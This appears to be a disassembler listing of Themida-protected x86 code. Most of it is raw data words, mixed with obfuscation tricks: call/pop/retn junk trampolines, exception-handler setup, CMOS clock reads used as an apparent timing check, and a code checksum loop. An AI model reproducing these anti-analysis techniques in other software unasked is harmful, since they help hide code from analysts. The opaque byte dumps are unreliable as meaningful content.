dd 44B850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 170424h, 51410000h, 36AF3FC3h, 0DD8A6032h, 0A73AD781h
dd 8361024Bh, 0FDEB96BDh, 840F0007h, 415h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0E3C35747h, 0BD33D7BCh
dd 7FA1681h, 0B9BD0Bh, 0B5FF07FAh, 7FDEB96h, 7C38166h
dd 4595FFBBh, 6A07FA27h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 680C355h, 6D18A068h
dd 8BF59CB4h, 0FDEB8AB5h, 0DFB70F07h, 38F0Fh, 8B660000h
dd 106C7D9h, 6A000100h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 18042444h, 43000000h, 845C353h, 8B21B312h
dd 0FA29ED9Dh, 96509607h, 6399589h, 958907FAh, 7FA2871h
dd 0EB96B5FFh, 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 1C27A1C3h, 67979574h, 0E9BF660Bh
dd 719D8985h, 0FF07FA0Dh, 0FA18E195h, 0C19D8B07h, 8B07FA10h
dd 0FDEB8AB5h, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 896EBF56h, 0FA35099Dh
dd 7D858B07h, 6A07FA1Ch, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 8960C351h, 0C486h
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h
dd 0C3524200h, 9134D1B3h, 0CDFE2F2Eh, 9D8B51EFh, 7FA345Dh
dd 0D9958B5Fh, 8907FA1Ch, 0FA18D1B5h, 6E907h, 999C0000h
dd 178D7A1h, 8104C283h, 478E8EFh, 2050894Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0CBC35141h, 4291805Ch
dd 0FE9h, 62D6CA00h, 9144E342h, 8624C61Eh, 1A872C4Ah, 0FEF7858Dh
dd 0DF8007FDh, 0BE926h, 1D30000h, 0C3F75E8Bh, 0C376969Eh
dd 0B886898Fh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 292EC355h, 0F98F5CE8h
dd 8E88F0Fh, 0F1000000h, 7E5B7F58h, 0F6F5473h, 8Eh, 6A5B00h
dd 6EDBD0Bh, 0B5FF07FAh, 7FDEB96h, 9D2355B7h, 7FA18FDh
dd 1C9595FFh, 0DE907FAh, 89000000h, 5DCA7BBFh, 0AD327EB8h
dd 0B56F9C6Fh, 0E8525096h, 0Bh, 590111D3h, 8712B43Bh, 8B81B910h
dd 310F5BDFh, 5AFE8B66h, 0BA605058h, 0CD5120Ch, 0EE9h
dd 7CE20300h, 625C8DDCh, 94344EC0h, 61706551h, 98D0996h
dd 0FF07FA22h, 0FDEB96B5h, 6D858907h, 0B07FA1Dh, 0FA064D9Dh
dd 9595FF07h, 6A07FA1Dh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0E69C350h, 0BEBB6664h
dd 31BD8364h, 7FA01h, 31840Fh, 9D8B0000h, 7FA1035h, 89DA8B50h
dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
dd 53430000h, 3C1DE9C3h, 0ADBD239Eh, 0FF07FA0Ch, 0FDEB96B5h
dd 0E19D3107h, 0FF07FA27h, 0FA1CB595h, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 3D740481h, 0BFB46085h, 5AA1D941h, 399D8B51h, 5B07FA07h
dd 0EE9h, 28853500h, 0C5C9F65Eh, 3F75201Dh, 0FFB6AE79h
dd 0FDEB96B5h, 95FFFC07h, 7FA21ADh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 62C35747h, 0AA478B38h, 0E72FBB66h
dd 2221BD83h, 0F0207FAh, 5784h, 188B0F00h, 0E8000000h
dd 11h, 54491669h, 382E90FDh, 0F1C1FFC7h, 7EBBFC0Eh, 8B5BF9D3h
dd 0FA161585h, 0BD896007h, 7FA3379h, 61F2B70Fh, 6A0000C6h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h
dd 45000000h, 254AC355h, 9D035D92h, 7FA2E59h, 16DD85C7h
dd 7FAh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 0FE0BA0C3h, 814F6371h, 5F4B79E3h
dd 0F36FE91Dh, 0DE8FFFFh, 0B1000000h, 200853DEh, 7787D36h
dd 1680AB68h, 17D59D8Bh, 8B5B07FAh, 0FA2DB59Dh, 6AC18B07h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 5358C352h, 5BD98B66h, 199858Dh, 0BD8B07FAh
dd 7FA3295h, 5E48BB90h, 50503339h, 66310F52h, 585AF88Bh
dd 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 2A75BDF2h, 89BD29B5h, 6A07FA31h, 9D015100h
dd 7FA0205h, 9006A5Bh, 0FA2575BDh, 8858D07h, 5707FE87h
dd 76D8BB66h, 5C0835Bh, 25118501h, 665007FAh, 89E1E3BBh
dd 2DB72404h, 6AF9BF0Fh, 0C7816600h, 6AA3C5h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 3BC35242h, 95FFFC78h
dd 7FA2BE9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 3CC35040h, 1A681030h, 65C956C0h, 118D8D78h, 6A07FDD7h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 99DFC353h, 690D7A12h, 0BD2989E5h, 7FA1671h
dd 5E9D1FFh, 0A9000000h, 0C4E6ED2Bh, 33EDBD83h, 0F0107FAh
dd 0A885h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 0F8BE79h, 0DDBB54CAh, 663E2EB7h
dd 42E0F381h, 6A026Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 160424h, 50400000h, 0AF6B1C3h, 90DA8B66h, 2692BF66h
dd 5F69BB50h, 6A9028EEh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 2606C356h, 54223952h
dd 0FFCD429Ch, 0FA1C9595h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 8166C495h
dd 8B50F1E7h, 0D1CE9F8h, 0E80000h, 5D000000h, 8712ED81h
dd 8C0F07FEh, 1Fh, 19890Fh, 14E90000h, 3F000000h, 0E30D2423h
dd 78AE2B9h, 1BD6D5EAh, 501FAABEh, 0E9073708h, 0Bh, 34644448h
dd 0E966B6BAh, 8D222E5Ah, 0FDB95985h, 0FA8B6607h, 1015BD89h
dd 0F5007FAh, 589h, 5CECBF00h, 48971CAh, 35FF6424h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5CBBBF
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBBBF proc near ; CODE XREF: Themida_:005CBBB7p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5CBBBF endp
; ---------------------------------------------------------------------------
mov eax, 15B98589h
cli
pop es
jz $+6
mov large fs:0, esp
push 0
push ebp
call sub_5CBBEE
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBBEE proc near ; CODE XREF: Themida_:005CBBE6p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 18h
inc ebp
push ebp
retn
sub_5CBBEE endp
; ---------------------------------------------------------------------------
add al, 0D3h
lahf
adc [ecx], ah
mov ebx, 12222BFFh
inc dword ptr [ebp+7FA1049h]
push 0FFFFFFFFh
jmp loc_5CBC23
; ---------------------------------------------------------------------------
db 0Ch, 29h, 0Eh
dd 0E6104E24h, 0BAFF1AC1h
db 0CFh, 0Ch, 0A7h
; ---------------------------------------------------------------------------
loc_5CBC23: ; CODE XREF: Themida_:005CBC10j
push dword ptr [ebp+7FA16B1h]
movsx ebx, di
call dword ptr [ebp+7FA2875h]
jmp loc_5CBD4C
; ---------------------------------------------------------------------------
jmp loc_5CBC4C
; ---------------------------------------------------------------------------
dd 3EB516EDh, 0D68D7E4Dh, 777D2FC3h, 0B32EADCBh
; ---------------------------------------------------------------------------
loc_5CBC4C: ; CODE XREF: Themida_:005CBC37j
mov bl, 55h
mov al, 0
sbb bl, 0Eh
out 70h, al ; CMOS Memory:
; used by real-time clock
mov di, 0E9BFh
in al, 71h ; CMOS Memory
mov ebx, esi
cmp al, 61h
jnb loc_5CBD4C
and ebx, [ebp+7FA2615h]
movzx ecx, al
mov [ebp+7FA2AE9h], edi
mov edx, 6
mov [ebp+7FA1741h], edi
mov eax, ecx
sub edi, 58F5CE0Ch
shr eax, 4
jmp loc_5CBC95
; ---------------------------------------------------------------------------
db 0B0h
dd 0C8F97E21h
; ---------------------------------------------------------------------------
inc eax
loc_5CBC95: ; CODE XREF: Themida_:005CBC8Aj
mul dx
sub ecx, eax
add ebx, [ebp+7FA2761h]
mov edx, ecx
mov bh, al
jmp loc_5CBCC3
; ---------------------------------------------------------------------------
jmp loc_5CBCBE
; ---------------------------------------------------------------------------
and [edi-378F4CADh], edx
add [edx+9FE5374h], esi
stosd
rcl dword ptr [esp+edx], cl
loc_5CBCBE: ; CODE XREF: Themida_:005CBCA9j
mov edi, 1E9412C6h
loc_5CBCC3: ; CODE XREF: Themida_:005CBCA4j
mov eax, [ebp+7FA15F1h]
jns loc_5CBCD5
mov [ebp+7FA34BDh], esi
loc_5CBCD5: ; CODE XREF: Themida_:005CBCC9j
add eax, 7
jmp loc_5CBCE5
; ---------------------------------------------------------------------------
db 0DDh, 0D8h, 4Ah
dd 1D1C5E4Eh
db 31h
; ---------------------------------------------------------------------------
loc_5CBCE5: ; CODE XREF: Themida_:005CBCD8j
add eax, 0
movsx ebx, si
cmp edx, eax
jnb loc_5CBD14
jmp loc_5CBD06
; ---------------------------------------------------------------------------
dd 9278727Ah, 9973B932h, 0A659E2CEh
db 0A1h, 0E6h
; ---------------------------------------------------------------------------
loc_5CBD06: ; CODE XREF: Themida_:005CBCF3j
mov [ebp+7FA071Dh], esi
jmp loc_5CBD4C
; ---------------------------------------------------------------------------
adc bh, 10h
loc_5CBD14: ; CODE XREF: Themida_:005CBCEDj
mov ecx, [ebp+7FA0DA5h]
clc
sbb bl, 0Fh
and ecx, 1
jz loc_5CBD4C
xor di, 0F4A7h
and dword ptr [ebp+7FA0DA5h], 0FFFFFFFEh
mov edi, [ebp+7FA16C9h]
mov [ebp+7FA15F1h], edx
push ecx
and edi, [ebp+7FA0B45h]
pop edi
jmp $+5
loc_5CBD4C: ; CODE XREF: Themida_:005CBC32j
; Themida_:005CBC5Fj ...
lea esi, [ebp+7FE1AEDh]
jp loc_5CBD59
clc
loc_5CBD59: ; CODE XREF: Themida_:005CBD52j
push 0
push 0
push ebp
call sub_5CBD66
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBD66 proc near ; CODE XREF: Themida_:005CBD5Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5CBD66 endp
; ---------------------------------------------------------------------------
dw 0B288h
; ---------------------------------------------------------------------------
cmc
call dword ptr [ebp+7FA1019h]
mov ecx, 7B3h
mov di, cx
and ecx, 0FFFFFFFCh
cld
push 0
push eax
call sub_5CBD96
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBD96 proc near ; CODE XREF: Themida_:005CBD8Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5CBD96 endp
; ---------------------------------------------------------------------------
dec ebx
ja short sub_5CBE02
mov eax, 0
sub edi, [ebp+7FA2769h]
mov edx, 0
add [ebp+7FA30F1h], edx
loc_5CBDBF: ; CODE XREF: Themida_:005CBDC9j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5CBDBF
mov di, 0E676h
or eax, 88h
mov [ebp+7FA2C95h], esi
pusha
jmp loc_5CBDED
; ---------------------------------------------------------------------------
dd 87324864h, 0CDBCEF0h, 0C3813913h
db 80h
; ---------------------------------------------------------------------------
loc_5CBDED: ; CODE XREF: Themida_:005CBDDBj
add ah, 0A8h
popa
mov edx, [ebp+7FA1CD9h]
push 0
push ebp
call sub_5CBE02
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBE02 proc near ; CODE XREF: Themida_:005CBDA7j
; Themida_:005CBDFAp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 16h
inc ebp
push ebp
retn
sub_5CBE02 endp
; ---------------------------------------------------------------------------
push ebp
sti
sahf
mov di, si
mov ecx, [ebp+7FA31ADh]
push 0
push edx
call sub_5CBE29
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CBE29 proc near ; CODE XREF: Themida_:005CBE21p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5CBE29 endp
; ---------------------------------------------------------------------------
db 27h, 0EFh, 7
dd 0DAC1A679h, 830F60C5h, 6, 68D9D8Bh, 8B5007FAh, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 76C35343h, 57CA07AAh, 8E97DB81h
dd 835B1AABh, 0FA2A29BDh, 840F0007h, 85h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0E8C35545h, 9E9h
dd 8EA04E00h, 0E2990F33h, 0B84BAAh, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
dd 9273C351h, 89BD8BEBh, 8D07FA1Fh, 0FA4F668Dh, 56006A07h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 57DD60E4h, 0C426A0F6h, 8BE1FF64h, 0FA0FC19Dh, 0D9BD8307h
dd 7FA2Bh, 411840Fh, 0BD8B0000h, 7FA31D1h, 2BD9BD83h, 0F0107FAh
dd 41984h, 5268BF00h, 0F6061A7h, 68Ch, 0D958B00h, 3107FA2Eh
dd 0FA155585h, 0BD836107h, 7FA2BD9h, 0BD860F03h, 6A000003h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h
dd 46000000h, 5AE4C356h, 9DA4E21Bh, 601CE31Ah, 90C6BB66h
dd 66D98C66h, 947CF81h, 6A04E180h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 2055C351h
dd 0AF8993Dh, 11840FC9h, 6A000001h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0CDAEC353h
dd 8B8E6A9Fh, 0FA0FE985h, 919D8907h, 3307FA1Fh, 0FA15E185h
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 0FC7B39BDh, 0E9B2D496h, 0FEB70F2Eh, 0D4BB6650h
dd 24048954h, 24259D01h, 6A07FAh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 16h, 99C35242h, 810FEB43h, 15h
dd 10E9h, 7ADA7400h, 0DD9FB605h, 17021F8Ch, 0D3AA5AEDh
dd 94726865h, 0D98B12F6h, 8D243481h, 6A12E997h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
dd 9A5BC357h, 2A8202E0h, 0A4C0589Ch, 6870Fh, 0BD0B0000h
dd 7FA17C5h, 5D9D0160h, 0F07FA28h, 68Eh, 819D8B00h, 6107FA16h
dd 1CE995FFh, 0EB307FAh, 0EB968589h, 9D8B07FDh, 7FA20B9h
dd 199E9h, 0FE8B6600h, 0EB8E858Bh, 0C7FC07FDh, 1800h, 0A5B58900h
dd 8B07FA1Ch, 0FDEB92B5h, 62C38107h, 8B43C122h, 0FA0D5185h
dd 0A58D8907h, 8907FA0Ah, 25950106h, 8B07FA22h, 0FA0FE985h
dd 0C58D8907h, 8907FA22h, 6A0446h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 81668DC3h, 60D7E8EFh
dd 66D8531h, 14E907FAh, 0B3000000h, 0E1663E2Ch, 8176B48Fh
dd 67EEF362h, 7663E2A8h, 6158E376h, 0BB6FBB66h, 0F505096h
dd 282h, 5FD88B00h, 0D9958996h, 0FF07FA22h, 0FDEB8EB5h
dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 3472FE9Ah, 8E926F8h, 8D000000h, 8F06F149h
dd 6866E803h, 22A29097h, 81F88B66h, 93682434h, 6A22BDh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
dd 1CAF05C3h, 6F6FF67Ch, 8BD98A4Eh, 96858DDEh, 6A07FDEBh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 1F52C357h, 0AE99048h, 0AF000000h, 0C6E863BCh
dd 46FD5ADEh, 7E850AAh, 44000000h, 10007E16h, 0D98BEF98h
dd 6A905Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 0B4A632C3h, 6058525Fh, 0FE9h, 0C590DA00h
dd 0A49EA1EEh, 66E9BA49h, 0A0BD7F6Ah, 1549BD89h, 96107FAh
dd 0FA20F98Dh, 0E995FF07h, 0F07FA1Ch, 6A61FBBFh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 0C98DC356h, 0B42146C2h, 8E50F5F0h, 7E9h, 0DE84F900h
dd 0C1E44508h, 2D4D8D89h, 85C707FAh, 7FA2BD9h, 3, 10E8h
dd 0FE841900h, 6542C434h, 76DE8A23h, 927E18BBh, 5FBBB3C8h
dd 0EB96BD83h, 0F0007FDh, 5384h, 0BB666000h, 14E98B93h
dd 35000000h, 778B887Bh, 0A4B60819h, 0B43C1361h, 7C8A89EDh
dd 61819424h, 4AE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 59070F61h, 0FE8B6691h
dd 68D0Fh, 85310000h, 7FA07B5h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 0E8C08B00h, 0Bh, 0B443945Eh, 84D1239Ah
dd 0B01D176h, 0FA0011BDh, 6A5F07h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0D4FBFC3h, 2DBB66ECh
dd 25B5898Dh, 8307FA24h, 0FA2BD9BDh, 850F0307h, 45Fh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B8C35646h, 7EE41C77h
dd 34ECBF66h, 0EB96BD83h, 0F0007FDh, 42E84h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 8BB0DB52h, 0FA0511BDh, 69858907h, 0FF07FA2Fh, 0FDEB96B5h
dd 0FFDF8B07h, 0FA274595h, 6880F07h, 9000000h, 0FA2F7185h
dd 8AB58B07h, 0E907FDEBh, 0Bh, 96D91067h, 0BF9AA8CFh, 0C7067702h
dd 1000106h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 9693B7D9h, 7BB16050h, 9661CF8Bh
dd 0E08FD381h, 9D8954B2h, 7FA2ED1h, 0EB96B5FFh, 6A07FDh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
dd 70B4A1C3h, 0C70F21C3h, 29858B60h, 3107FA1Eh, 0FA2C259Dh
dd 0B70F6107h, 0E195FFFAh, 3307FA18h, 0FA26399Dh, 8F0F07h
dd 8B000000h, 0FDEB8AB5h, 56006A07h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0BB52E8AFh
dd 93B53D64h, 0D7816660h, 8B61AB9Eh, 7D858BD8h, 8907FA1Ch
dd 0FA00B9BDh, 0C4868907h, 81000000h, 28AE98F3h, 0D9958B5Bh
dd 6A07FA1Ch, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 19042444h, 40000000h, 389EC350h, 7ABEEB57h, 0A800Fh
dd 870F0000h, 4, 8CBCBF66h, 0C2830EB7h, 50006A04h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 31BD1625h, 0B7515698h, 205089F7h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Bh, 98C35545h, 0D7245D9Eh, 66471BC5h
dd 858DFB8Bh, 7FDFEF7h, 15EDBD8Bh, 868907FAh, 0B8h, 6A006AF8h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h
dd 42000000h, 0B46FC352h, 0B5FFEE16h, 7FDEB96h, 1C9595FFh
dd 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 6F5DABC3h, 544538CCh, 2D9D0929h, 5007FA24h
dd 6A243489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 7FEEC351h, 14E9h, 9B014300h, 24211671h
dd 0E6B70A9Bh, 0C64B31CEh
dd 0EE36C38Fh, 96B5FF8Ch, 0E807FDEBh, 11h, 626E7288h, 8125D36Ah
dd 9955D637h, 44F7C988h, 5FFA8A35h, 1D9595FFh, 6A07FAh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 5EF171C3h, 131BD83h, 0F0007FAh, 7484h, 0FE900h, 57990000h
dd 45F78052h, 93B99289h, 0C690C5CAh, 0E9605036h, 0Ch, 8A4EBED7h
dd 73C8321Bh, 3A6F5B7Eh, 11E85250h, 61000000h, 0BBAB919Bh
dd 0E1F855FFh, 0ECA8E169h, 60267497h, 0B3310F58h, 61585A8Ah
dd 6A243489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 16042444h, 42000000h, 0FBF7C352h, 19BD8BF0h, 5707FA1Ch
dd 247EBB66h, 96B5FF5Bh, 6A07FDEBh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 5367C351h
dd 3840Fh, 0DF800000h, 95FF5F53h, 7FA1CB5h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 37C35242h, 36307222h
dd 0B9B5014Dh, 0FF07FA17h, 0FDEB96B5h, 56006A07h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 43209B4Ah, 23659D03h, 95FF07FAh, 7FA21ADh, 0D8BF0F60h
dd 8218529h, 836107FAh, 0FA2221BDh, 840F0207h, 4Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 56C35646h, 8BDFB23Ah
dd 0FA161585h, 0C607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 17h, 1AC35545h, 3025B33h, 0FA18B1BDh, 0DD85C707h
dd 7FA16h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 0E978C353h, 0FFFFF3EEh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B6C35747h, 0E073CAE9h
dd 0F9BF66A5h, 6AC18B69h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 0DC14C353h, 0F1853425h
dd 858DA50Ah, 7FA0199h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 0F3C35040h, 0A1C3F032h, 0CB35BB66h, 0D8816660h
dd 9529CB4Ah, 7FA3231h, 870F5061h, 2, 4895B56h, 50006A24h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 6AC6E7h, 23D78166h, 66006AF9h, 0F2A3D781h, 95F5858Dh
dd 0DE807FEh, 44000000h, 9CBADA34h, 34F08DC8h, 0EE7AFDE6h
dd 0DC98529h, 835B07FAh, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 586CADC3h, 504D0EB0h
dd 489F88Bh, 0B5852924h, 8007FA26h, 6A40EBh, 6AFA8Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0A6C35343h, 0BD8BB55Ah
dd 7FA22F9h, 0FFECC780h, 0FA2BE995h, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 4C3C8B8Fh
dd 8BA456A5h, 0FA26559Dh, 118D8D07h, 0F507FDD7h, 6AD1FFh
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
dd 8B3AB9C3h, 0A9E54939h, 5D9D89E6h, 8907FA0Eh, 0FA1F1195h
dd 0EDBD8307h, 107FA33h, 6C850Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 45BF53C3h
dd 2B0A5781h, 0F7816054h, 60EEFF8Dh, 0A66DB966h, 0F9026A61h
dd 0B896BB90h, 0B350158Fh, 6A90F3h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 27FC3AC3h
dd 0F45BD0Bh, 95FF07FAh, 7FA1C95h, 0BF6628B7h, 0B5E90078h
dd 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7FE95FFh
push 0
push esi
call sub_5CCA52
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CCA52 proc near ; CODE XREF: Themida_:005CCA4Ap
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5CCA52 endp
; ---------------------------------------------------------------------------
popf
sub [ebp+7FA0E15h], ebx
mov ebx, edx
push 0
push ebp
call sub_5CCA76
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CCA76 proc near ; CODE XREF: Themida_:005CCA6Ep
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5CCA76 endp
; ---------------------------------------------------------------------------
aam 4Eh
sar byte ptr [edx-2Dh], 0B5h
dec ecx
dec ecx
push ebp
lea eax, [ebp+7FDB959h]
sub [ebp+7FA21CDh], ecx
push eax
mov bh, al
mov [esp], eax
add [ebp+7FA29BDh], edi
push large dword ptr fs:0
push 0
push eax
call sub_5CCAB9
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CCAB9 proc near ; CODE XREF: Themida_:005CCAB1p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5CCAB9 endp
; ---------------------------------------------------------------------------
db 20h, 89h, 95h
dd 7FA07CDh, 258964h, 66000000h, 0D7F2DB81h, 104985FFh
dd 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 0FF6ACDC3h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 0D6C35040h, 0B5FFE112h, 7FA3391h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 8AC35040h, 0FFC4542Ah
dd 0FA287595h, 118E907h, 0B5890000h, 7FA08C1h, 816600B0h
dd 0E6952CCBh, 0C7BB6670h, 8B71E409h, 0FA23F59Dh, 0F613C07h
dd 0F583h, 28BF6600h, 0F9B70F5Eh, 9C8B60Fh, 0FA23E1BDh
dd 6BA07h, 0C18B0000h, 18C58529h, 0E8C107FAh, 5E904h, 0F4300000h
dd 662F61E8h, 0C82BE2F7h, 33E9B589h, 0D18B07FAh, 0E9FBBF0Fh
dd 6, 28159D8Bh, 858B07FAh, 7FA00F9h, 13E8h, 0A84A3A00h
dd 655F58Fh, 3DEDE02Bh, 7EDF5284h, 0E5D8CE2Fh, 2D858D09h
dd 835F07FAh, 895107C0h, 0FA2531BDh, 0C0835B07h, 0D59D8900h
dd 3B07FA17h, 27830FD0h, 89000000h, 0FA1E85BDh, 8A0F6007h
dd 6, 1485BD89h, 0BD2907FAh, 7FA1649h, 50E961h, 81660000h
dd 6628D0EFh, 8D8BF88Bh, 7FA2EF1h, 8BB9F780h, 0FA24EDBDh
dd 1E18307h, 30840Fh, 0BD8B0000h, 7FA2B41h, 2EF1A583h
dd 31FE07FAh, 0FA33859Dh, 6890F07h, 8B000000h, 0FA0C9D9Dh
dd 0F9958907h, 3307FA00h, 0FA3195BDh, 0E907h, 0B58D0000h
dd 7FE24D3h, 6A006AF8h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 0C29EC352h, 95FF5595h
dd 7FA1019h, 13E9h, 1066BF00h, 150BED0Eh, 4B8F5ED3h, 591BC754h
